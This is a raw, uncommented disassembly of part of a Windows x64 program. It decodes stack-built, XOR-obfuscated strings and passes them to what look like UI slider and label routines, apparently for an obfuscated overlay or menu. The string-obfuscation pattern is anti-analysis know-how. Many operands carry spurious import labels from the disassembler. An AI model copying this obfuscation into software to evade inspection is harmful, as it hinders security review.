lea rcx, [rbp + 0x70]
call fcn.14004dbb0
mov rdx, qword [0x140323670]
add rdx, 0x12
mov byte [rbp + 0xb0], 0xf4
mov byte [rbp + 0xb1], Ordinal_211
mov byte [rbp + 0xb2], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xb3], 0xcc
mov byte [rbp + 0xb4], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xb5], 0xe8
mov byte [rbp + 0xb6], 0xdc
mov byte [rbp + 0xb7], 0xdc
mov byte [rbp + 0xb8], Ordinal_200
mov byte [rbp + 0xb9], 0xde
mov byte [rbp + 0xba], 0xad
mov byte [rbp + 0xbb], 0xc9
movzx eax, byte [rbp + 0xb0]
mov r10, rdi
movabs rbx, 0x6f4383e9054d20b6
mov r11, rbx
lea rax, [rbp + 0xb0]
sub r11, rax
nop dword [rax]
nop dword [rax + rax]
lea r8, [rbp + 0xb0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0xb0], al
inc r10
cmp r10, 0xc
jb 0x1400759a0
lea rcx, [rbp + 0xb0]
call fcn.14004dbb0
mov rdx, qword [0x140323670]
add rdx, 0x16
mov byte [rbp + 0x120], 0x44
mov byte [rbp + 0x121], 0x7d
mov byte [rbp + 0x122], 0x7b
mov byte [rbp + 0x123], 0x63
mov byte [rbp + 0x124], Ordinal_60
mov byte [rbp + 0x125], 0x44
mov byte [rbp + 0x126], 0x66
mov byte [rbp + 0x127], 0x7b
mov byte [rbp + 0x128], WSASetLastError
mov byte [rbp + 0x129], 0x7f
mov byte [rbp + 0x12a], 0x75
mov byte [rbp + 0x12b], 0x75
mov byte [rbp + 0x12c], 0x75
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_301], reloc.WS2_32.dll_recvfrom
movzx eax, byte [rbp + 0x120]
mov r11, rdi
mov rbx, r13
lea rax, [rbp + 0x120]
sub rbx, rax
lea r9, [rbp + 0x120]
add r9, r11
movsx r10, byte [r9]
mov rcx, r11
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov r8, r13
shr r8, cl
and r8b, 0xf
lea eax, [r9 + rbx]
xor r8b, al
xor r8b, r10b
mov byte [rbp + r11 + 0x120], r8b
inc r11
cmp r11, 0xe
jb 0x140075a71
lea rcx, [rbp + 0x120]
call fcn.14004dbb0
mov rdx, qword [0x140323670]
add rdx, 0x15
mov byte [rbp + 0x130], 0x44
mov byte [rbp + 0x131], 0x7d
mov byte [rbp + 0x132], 0x7b
mov byte [rbp + 0x133], 0x63
mov byte [rbp + 0x134], Ordinal_60
mov byte [rbp + 0x135], 0x41
mov byte [rbp + 0x136], 0x79
mov byte [rbp + 0x137], 0x7f
mov byte [rbp + 0x138], WSASetLastError
mov byte [rbp + 0x139], 0x77
mov byte [rbp + 0x13a], 0x7b
mov byte [rbp + 0x13b], WSASetLastError
mov byte [rbp + 0x13c], 0x7d
mov byte [rbp + 0x13d], reloc.WS2_32.dll_recvfrom
movzx eax, byte [rbp + 0x130]
mov r10, rdi
mov r11, r13
lea rax, [rbp + 0x130]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp + 0x130]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x130], al
inc r10
cmp r10, 0xe
jb 0x140075b50
lea rcx, [rbp + 0x130]
call fcn.14004dbb0
call fcn.140021580
call fcn.14002ab90
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.14002a660
call fcn.14002aa60
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x444]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm14
movss xmm0, dword [rbp + 0x440]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x308], xmm0
movss dword [rbp + 0x30c], xmm2
mov byte [rbp + 0x110], 0x43
mov byte [rbp + 0x111], 0x5a
mov byte [rbp + 0x112], Ordinal_79
mov byte [rbp + 0x113], 0x40
mov byte [rbp + 0x114], 0x55
mov byte [rbp + 0x115], 0x5c
mov byte [rbp + 0x116], 0x5c
mov byte [rbp + 0x117], Ordinal_79
mov byte [rbp + 0x118], 0x58
mov byte [rbp + 0x119], 0x45
mov byte [rbp + 0x11a], 0x5d
mov byte [rbp + 0x11b], 0x57
mov byte [rbp + 0x11c], 0x5e
mov byte [rbp + reloc.WS2_32.dll_recvfromd], 0x11
movzx eax, byte [rbp + 0x110]
mov r9, rdi
mov r10, r13
lea rax, [rbp + 0x110]
sub r10, rax
nop dword [rax]
lea rdx, [rbp + 0x110]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x110], al
inc r9
cmp r9, 0xe
jb 0x140075c90
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x110]
call fcn.1400214a0
mov r11, qword [0x140323670]
mov byte [rbp + 0x170], Ordinal_211
mov byte [rbp + 0x171], 0xf1
mov byte [rbp + 0x172], 0xe4
mov byte [rbp + 0x173], 0xb3
mov byte [rbp + 0x174], Ordinal_200
mov byte [rbp + 0x175], 0xfa
mov byte [rbp + 0x176], 0xf5
mov byte [rbp + 0x177], 0xff
mov byte [rbp + 0x178], 0xfd
mov byte [rbp + 0x179], 0xf5
mov byte [rbp + 0x17a], 0xc9
mov byte [rbp + 0x17b], Ordinal_217
mov byte [rbp + 0x17c], 0xdc
mov byte [rbp + 0x17d], __WSAFDIsSet
mov byte [rbp + 0x17e], 0x88
mov byte [rbp + 0x17f], 0xa5
movzx eax, byte [rbp + 0x170]
mov r9, rdi
movabs rsi, 0xc8d4c481098a496
mov r10, rsi
lea rax, [rbp + 0x170]
sub r10, rax
lea rdx, [rbp + 0x170]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x170], al
inc r9
cmp r9, 0x10
jb 0x140075d81
mov dword [rbp + 0x478], 0x40a00000
mov dword [rbp + 0x470], 0x3f800000
mov dword [rsp + 0x30], edi
lea rax, str._.3f
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x478]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x470]
mov r8, r11
mov edx, 8
lea rcx, [rbp + 0x170]
call fcn.1400515f0
mov r11, qword [0x140323670]
mov byte [rbp + 0x208], 0xb3
mov byte [rbp + 0x209], 0x88
mov byte [rbp + 0x20a], Ordinal_143
mov byte [rbp + 0x20b], 0x86
mov byte [rbp + 0x20c], 0x9b
mov byte [rbp + 0x20d], Ordinal_143
mov byte [rbp + 0x20e], 0x9e
mov byte [rbp + 0x20f], 0x98
mov byte [rbp + 0x210], Ordinal_217
mov byte [rbp + 0x211], 0xa9
mov byte [rbp + 0x212], 0x98
mov byte [rbp + 0x213], __WSAFDIsSet
mov byte [rbp + 0x214], __WSAFDIsSet
mov byte [rbp + 0x215], 0x9e
mov byte [rbp + 0x216], __WSAFDIsSet
mov byte [rbp + 0x217], 0x9f
mov byte [rbp + 0x218], 0x83
mov byte [rbp + 0x219], 0x80
mov byte [rbp + 0x21a], Ordinal_200
mov byte [rbp + 0x21b], 0xda
mov byte [rbp + 0x21c], reloc.WS2_32.dll_ntohl
movzx eax, byte [rbp + 0x208]
mov r9, rdi
movabs rbx, 0x11c8b68153ce56ec
mov r10, rbx
lea rax, [rbp + 0x208]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp + 0x208]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x208], al
inc r9
cmp r9, 0x15
jb 0x140075ed0
mov dword [rbp + 0x468], 0x40a00000
mov dword [rbp + 0x460], 0x3f800000
mov dword [rsp + 0x30], edi
lea rax, str._.3f
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x468]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x460]
lea r8, [r11 + 4]
mov edx, 8
lea rcx, [rbp + 0x208]
call fcn.1400515f0
mov r8d, dword [0x140323458]
mov rdx, qword [0x1403235e0]
mov byte [rbp + 0x140], 0x56
mov byte [rbp + 0x141], 0x66
mov byte [rbp + 0x142], WSAGetLastError
mov byte [rbp + 0x143], 0x7d
mov byte [rbp + 0x144], 0x78
mov byte [rbp + 0x145], 0x7d
mov byte [rbp + 0x146], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x147], 0x3e
mov byte [rbp + 0x148], 0x5a
mov byte [rbp + 0x149], 0x7e
mov byte [rbp + 0x14a], 0x78
mov byte [rbp + 0x14b], 0x77
mov byte [rbp + 0x14c], 0x62
mov byte [rbp + 0x14d], reloc.WS2_32.dll_recvfrom
movzx eax, byte [rbp + 0x140]
mov r11, rdi
mov rbx, r13
lea rax, [rbp + 0x140]
sub rbx, rax
nop dword [rax]
nop word [rax + rax]
lea r9, [rbp + 0x140]
add r9, r11
movsx r10, byte [r9]
mov rcx, r11
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add r9b, bl
xor al, r9b
xor al, r10b
mov byte [rbp + r11 + 0x140], al
inc r11
cmp r11, 0xe
jb 0x140075ff0
lea rcx, [rbp + 0x140]
call fcn.140058da0
mov r8d, dword [0x140323458]
mov rdx, qword [0x1403235e0]
add rdx, 0x10
mov byte [rbp + 0x180], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x181], 0xf0
mov byte [rbp + 0x182], 0xea
mov byte [rbp + 0x183], 0xfa
mov byte [rbp + 0x184], 0xe1
mov byte [rbp + 0x185], 0xfb
mov byte [rbp + 0x186], 0xfe
mov byte [rbp + 0x187], 0xf0
mov byte [rbp + 0x188], 0xf3
mov byte [rbp + 0x189], 0xbb
mov byte [rbp + 0x18a], 0xef
mov byte [rbp + 0x18b], 0xca
mov byte [rbp + 0x18c], Ordinal_200
mov byte [rbp + 0x18d], Ordinal_200
mov byte [rbp + 0x18e], 0xda
mov byte [rbp + 0x18f], 0xa5
movzx eax, byte [rbp + 0x180]
mov r11, rdi
mov rbx, rsi
lea rax, [rbp + 0x180]
sub rbx, rax
nop word [rax + rax]
lea r9, [rbp + 0x180]
add r9, r11
movsx r10, byte [r9]
mov rcx, r11
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add r9b, bl
xor al, r9b
xor al, r10b
mov byte [rbp + r11 + 0x180], al
inc r11
cmp r11, 0x10
jb 0x1400760e0
lea rcx, [rbp + 0x180]
call fcn.140058da0
jmp 0x140076b7c
call fcn.14002aa60
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x444]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm13
movss xmm0, dword [rbp + 0x440]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x310], xmm0
movss dword [rbp + 0x314], xmm2
mov byte [rbp - 0x68], 0xc1
mov byte [rbp - 0x67], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp - 0x66], 0xcd
mov byte [rbp - 0x65], 0xc9
mov byte [rbp - 0x64], Ordinal_200
mov byte [rbp - 0x63], Ordinal_217
mov byte [rbp - 0x62], 0x87
movzx eax, byte [rbp - 0x68]
mov r9, rdi
mov r10, rbx
lea rax, [rbp - 0x68]
sub r10, rax
nop dword [rax + rax]
lea rdx, [rbp - 0x68]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x68], al
inc r9
cmp r9, 7
jb 0x1400761c0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.1400214a0
mov rdx, qword [0x1403235a8]
mov byte [rbp + 0x150], 0x45
mov byte [rbp + 0x151], 0x61
mov byte [rbp + 0x152], 0x7b
mov byte [rbp + 0x153], 0x76
mov byte [rbp + 0x154], 0x76
mov byte [rbp + 0x155], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x156], gethostname
mov byte [rbp + 0x157], 0x5f
mov byte [rbp + 0x158], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x159], 0x7c
mov byte [rbp + 0x15a], 0x76
mov byte [rbp + 0x15b], 0x77
mov byte [rbp + 0x15c], 0x64
mov byte [rbp + 0x15d], reloc.WS2_32.dll_recvfrom
movzx eax, byte [rbp + 0x150]
mov r10, rdi
mov r11, r13
lea rax, [rbp + 0x150]
sub r11, rax
lea r8, [rbp + 0x150]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x150], al
inc r10
cmp r10, 0xe
jb 0x140076290
lea rcx, [rbp + 0x150]
call fcn.14004dbb0
mov rdx, qword [0x1403235a8]
add rdx, 0x18
mov byte [rbp + 0x1d8], 0x75
mov byte [rbp + 0x1d9], 0x52
mov byte [rbp + 0x1da], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x1db], Ordinal_50
mov byte [rbp + 0x1dc], Ordinal_41
mov byte [rbp + 0x1dd], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x1de], WSASetLastError
mov byte [rbp + 0x1df], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x1e0], Ordinal_60
mov byte [rbp + 0x1e1], Ordinal_41
mov byte [rbp + 0x1e2], Ordinal_41
mov byte [rbp + 0x1e3], Ordinal_45
mov byte [rbp + 0x1e4], Ordinal_45
mov byte [rbp + 0x1e5], 0x3d
mov byte [rbp + 0x1e6], Ordinal_50
mov byte [rbp + 0x1e7], Ordinal_45
mov byte [rbp + 0x1e8], gethostname
mov byte [rbp + 0x1e9], Ordinal_79
movzx eax, byte [rbp + 0x1d8]
mov r10, rdi
movabs rbx, 0x8247598e098acc3e
mov r11, rbx
lea rax, [rbp + 0x1d8]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp + 0x1d8]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x1d8], al
inc r10
cmp r10, 0x12
jb 0x140076390
lea rcx, [rbp + 0x1d8]
call fcn.14004dbb0
mov rdx, qword [0x1403235a8]
add rdx, 0xc
mov byte [rbp + 0x60], 0x63
mov byte [rbp + 0x61], 0x56
mov byte [rbp + 0x62], 0x55
mov byte [rbp + 0x63], 0x41
mov byte [rbp + 0x64], 0x69
mov byte [rbp + 0x65], 4
mov byte [rbp + 0x66], Ordinal_45
mov byte [rbp + 0x67], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x68], 0x49
movzx eax, byte [rbp + 0x60]
mov r10, rdi
mov r11, r12
lea rax, [rbp + 0x60]
sub r11, rax
nop dword [rax]
lea r8, [rbp + 0x60]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x60], al
inc r10
cmp r10, 9
jb 0x140076420
lea rcx, [rbp + 0x60]
call fcn.14004dbb0
call fcn.140021580
call fcn.14002ab90
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.14002a660
call fcn.14002aa60
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x444]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm14
movss xmm0, dword [rbp + 0x440]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x318], xmm0
movss dword [rbp + 0x31c], xmm2
mov byte [rbp + 0x50], 0x63
mov byte [rbp + 0x51], 0x7b
mov byte [rbp + 0x52], WSASetLastError
mov byte [rbp + 0x53], 0x62
mov byte [rbp + 0x54], 0
mov byte [rbp + 0x55], listen
mov byte [rbp + 0x56], 3
mov byte [rbp + 0x57], reloc.WS2_32.dll_socket
mov byte [rbp + 0x58], 0x49
movzx eax, byte [rbp + 0x50]
mov r10, rdi
mov r11, r12
lea rax, [rbp + 0x50]
sub r11, rax
nop dword [rax]
lea r8, [rbp + 0x50]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rdx, r12
shr rdx, cl
and dl, 0xf
lea eax, [r8 + r11]
xor dl, al
xor dl, r9b
mov byte [rbp + r10 + 0x50], dl
inc r10
cmp r10, 9
jb 0x140076510
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x318]
lea rcx, [rbp + 0x50]
call fcn.1400214a0
mov rdx, qword [0x1403235a8]
add rdx, 0xc
mov byte [rbp + 0x40], 0x63
mov byte [rbp + 0x41], 0x56
mov byte [rbp + 0x42], 0x55
mov byte [rbp + 0x43], 0x41
mov byte [rbp + 0x44], 0x69
mov byte [rbp + 0x45], 4
mov byte [rbp + 0x46], Ordinal_45
mov byte [rbp + 0x47], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x48], 0x49
movzx eax, byte [rbp + 0x40]
mov r10, rdi
mov r11, r12
lea rax, [rbp + 0x40]
sub r11, rax
lea r8, [rbp + 0x40]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x40], al
inc r10
cmp r10, 9
jb 0x1400765a2
lea rcx, [rbp + 0x40]
call fcn.14004dbb0
movss xmm0, dword [0x1400da03c]
call fcn.14002a770
mov r11, qword [0x1403235a8]
mov byte [rbp + 0xd0], 0xf6
mov byte [rbp + 0xd1], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xd2], Ordinal_211
mov byte [rbp + 0xd3], 0x9b
mov byte [rbp + 0xd4], 0xe4
mov byte [rbp + 0xd5], Ordinal_217
mov byte [rbp + 0xd6], Ordinal_200
mov byte [rbp + 0xd7], Ordinal_217
mov byte [rbp + 0xd8], Ordinal_143
mov byte [rbp + 0xd9], __WSAFDIsSet
mov byte [rbp + 0xda], 0xe3
mov byte [rbp + 0xdb], 0xc9
movzx eax, byte [rbp + 0xd0]
mov r9, rdi
movabs rsi, 0x6f4383e9054d20b6
mov r10, rsi
lea rax, [rbp + 0xd0]
sub r10, rax
nop
lea rdx, [rbp + 0xd0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0xd0], al
inc r9
cmp r9, 0xc
jb 0x140076670
mov dword [rbp + 0x458], Ordinal_301
mov dword [rbp + 0x450], reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x30], edi
lea rax, [0x1400cbb54]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x458]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x450]
lea r8, [r11 + 0x10]
mov edx, 4
lea rcx, [rbp + 0xd0]
call fcn.1400515f0
call fcn.14002a820
mov r11, qword [0x1403235a8]
mov byte [rbp + 0x1f0], 0x63
mov byte [rbp + 0x1f1], 0x51
mov byte [rbp + 0x1f2], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x1f3], Ordinal_35
mov byte [rbp + 0x1f4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x1f5], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x1f6], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x1f7], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x1f8], Ordinal_60
mov byte [rbp + 0x1f9], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x1fa], 0x61
mov byte [rbp + Ordinal_33b], 0x1f
mov byte [rbp + 0x1fc], Ordinal_41
mov byte [rbp + 0x1fd], gethostname
mov byte [rbp + 0x1fe], Ordinal_45
mov byte [rbp + 0x1ff], 0x7f
mov byte [rbp + 0x200], 0x60
mov byte [rbp + 0x201], Ordinal_79
movzx eax, byte [rbp + 0x1f0]
mov r9, rdi
mov r10, rbx
lea rax, [rbp + 0x1f0]
sub r10, rax
nop dword [rax]
lea rdx, [rbp + 0x1f0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x1f0], al
inc r9
cmp r9, 0x12
jb 0x1400767a0
mov dword [rbp + 0x488], 0x42c80000
mov dword [rbp + 0x480], 0x3f800000
mov dword [rsp + 0x30], edi
lea rax, str._.3f
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x488]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x480]
lea r8, [r11 + 0x14]
mov edx, 8
lea rcx, [rbp + 0x1f0]
call fcn.1400515f0
mov byte [rbp + 0x30], WSAStartup
mov byte [rbp + 0x31], 0x57
mov byte [rbp + 0x32], 0x57
mov byte [rbp + 0x33], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x34], 2
mov byte [rbp + 0x35], Ordinal_41
mov byte [rbp + 0x36], 0x3d
mov byte [rbp + 0x37], 0x7e
mov byte [rbp + 0x38], 0x49
movzx eax, byte [rbp + 0x30]
mov r9, rdi
mov r10, r12
lea rax, [rbp + 0x30]
sub r10, rax
lea rdx, [rbp + 0x30]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x30], al
inc r9
cmp r9, 9
jb 0x140076861
lea rcx, [rbp + 0x30]
call fcn.14004af40
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.14002a660
mov r8d, dword [0x140323488]
lea rdx, [0x140068da0]
mov ecx, dword [reloc.WS2_32.dll_bind]
call fcn.140068df0
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140323c8c], eax
jle 0x140076a9b
lea rcx, [0x140323c8c]
call fcn.1400bafa8
cmp dword [0x140323c8c], 0xffffffff
jne 0x140076a9b
mov byte [rsp + 0x60], 0x48
mov byte [rsp + 0x61], 0x68
mov byte [rsp + 0x62], 0x63
mov byte [rsp + 0x63], 0x62
mov byte [rsp + 0x64], reloc.WS2_32.dll_socket
movzx eax, byte [rsp + 0x60]
mov r9, rdi
movabs rsi, 0x50e1fec558179c0c
mov r10, rsi
lea rax, [rsp + 0x60]
sub r10, rax
nop dword [rax]
lea rdx, [rsp + 0x60]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x60], al
inc r9
cmp r9, 5
jb 0x140076940
lea rax, [rsp + 0x60]
mov qword [0x1403239b8], rax
mov byte [rsp + 0x70], Ordinal_79
mov byte [rsp + 0x71], 0x68
mov byte [rsp + 0x72], 0x61
mov byte [rsp + 0x73], WSASetLastError
mov byte [rsp + 0x74], reloc.WS2_32.dll_socket
movzx eax, byte [rsp + 0x70]
mov r9, rdi
mov r10, rsi
lea rax, [rsp + 0x70]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x70]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x70], al
inc r9
cmp r9, 5
jb 0x1400769c0
lea rax, [rsp + 0x70]
mov qword [0x1403239c0], rax
mov byte [rbp - 0x80], 0x63
mov byte [rbp - 0x7f], 0x45
mov byte [rbp - 0x7e], 0x56
mov byte [rbp - 0x7d], 0x4b
mov byte [rbp - 0x7c], 0x42
mov byte [rbp - 0x7b], gethostname
movzx eax, byte [rbp - 0x80]
mov r9, rdi
movabs r11, 0x40445cfd0144932e
mov r10, r11
lea rax, [rbp - 0x80]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp - 0x80]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x80], al
inc r9
cmp r9, 6
jb 0x140076a40
lea rax, [rbp - 0x80]
mov qword [0x1403239c8], rax
lea rcx, [0x140323c8c]
call fcn.1400baf3c
movabs rsi, 0x6f4383e9054d20b6
mov rdx, qword [0x1403235a8]
add rdx, 8
mov byte [rbp + 0xa0], 0xe4
mov byte [rbp + 0xa1], 0xdd
mov byte [rbp + 0xa2], 0xca
mov byte [rbp + 0xa3], 0xdc
mov byte [rbp + 0xa4], Ordinal_211
mov byte [rbp + 0xa5], 0xcb
mov byte [rbp + 0xa6], 0x99
mov byte [rbp + 0xa7], 0xff
mov byte [rbp + 0xa8], Ordinal_217
mov byte [rbp + 0xa9], 0xdf
mov byte [rbp + 0xaa], 0xa6
mov byte [rbp + 0xab], 0xc9
movzx eax, byte [rbp + 0xa0]
mov r10, rdi
mov r11, rsi
lea rax, [rbp + 0xa0]
sub r11, rax
lea r8, [rbp + 0xa0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0xa0], al
inc r10
cmp r10, 0xc
jb 0x140076b11
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 3
lea r9, [0x1403239b8]
lea r8, [fcn.140050070]
lea rcx, [rbp + 0xa0]
call fcn.140050090
call fcn.140021580
call fcn.14002ab90
lea rsi, [rbp + 0x6b8]
mov ecx, 1
call fcn.14001a7b0
nop
mov rcx, qword [rbp + 0x4e8]
xor rcx, qword [rbp + 0x4f0]
mov qword [rbp + 0x4e8], rcx
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rcx
jmp 0x140076bc9
cmp byte [0x140323379], 0
je 0x140076bc9
xor ecx, ecx
call fcn.1400722c0
mov rcx, qword [0x1403235d8]
call fcn.14006a6a0
call fcn.1400206c0
call fcn.140020300
xorps xmm0, xmm0
movups xmmword [rbp + 0x5c8], xmm0
mov rcx, qword [0x140323430]
mov rax, qword [rcx]
mov r10, qword [rax + 0x108]
xor r9d, r9d
lea r8, [0x140323450]
lea edx, [r9 + 1]
call r10
mov rcx, qword [0x140323430]
mov rax, qword [rcx]
mov r9, qword [rax + 0x190]
lea r8, [rbp + 0x5c8]
mov rdx, qword [0x140323450]
call r9
mov dword [rbp + 0x3d8], 1
mov rax, qword [0x140323380]
mov rax, qword [rax + 0x48d0]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, rdi
cmp byte [rcx], dil
cmovne rax, rcx
mov rcx, rax
call fcn.140047ff0
mov rcx, qword [0x140323448]
mov rax, qword [rcx]
mov r9, qword [rax + 0x40]
xor r8d, r8d
xor edx, edx
call r9
nop
mov rcx, qword [rbp + 0x500]
xor rcx, qword [rbp + 0x508]
mov qword [rbp + 0x500], rcx
mov rax, qword [rbp + 0x510]
mov qword [rax], rcx
cmp dword [rbp + 0x590], 0x12
jne 0x1400740d0
call fcn.140049220
call fcn.140063e50
mov rbx, qword [0x140323380]
mov qword [0x140323380], rbx
call fcn.14001c5c0
